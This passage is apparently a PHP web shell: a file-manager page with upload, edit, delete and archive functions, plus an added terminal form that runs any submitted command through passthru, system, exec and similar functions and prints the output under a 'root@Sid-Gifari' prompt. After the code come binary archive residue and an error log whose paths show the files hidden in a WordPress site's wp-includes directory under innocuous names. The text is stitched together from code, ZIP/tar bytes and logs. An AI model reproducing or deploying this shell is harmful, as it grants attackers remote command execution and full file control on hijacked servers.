		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK       |\S                    inline.php.php.tar.gznu [        PK       |\Mk]  ]              /  cap.php.php.tar.gznu [        PK       |\FI  I  	            e  error_lognu [        PK       |\p`\~  \~  
             Engine.zipnu [        PK       |\o< <  <             $ bolt.php.tarnu [        PK       |\&\d d             ` Renderer.tar.gznu [        PK       |\tF3)9 )9             . cap.phpnu [        PK       |\tT                  g inline.php.tarnu [        PK       |\a  a              3 bolt.php.php.tar.gznu [        PK       |\'ݣ    
             inline.phpnu [        PK       |\ \                 Renderer.tarnu [        PK       |\Ќ5 5             - bolt.phpnu [        PK       |\FL @  @             J cap.php.tarnu [        PK                                                                                                                                                                                                                                                                                                                                                                                                          Renderer/error_log                                                                                  0000644                 00000165020 15217306007 0010234 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
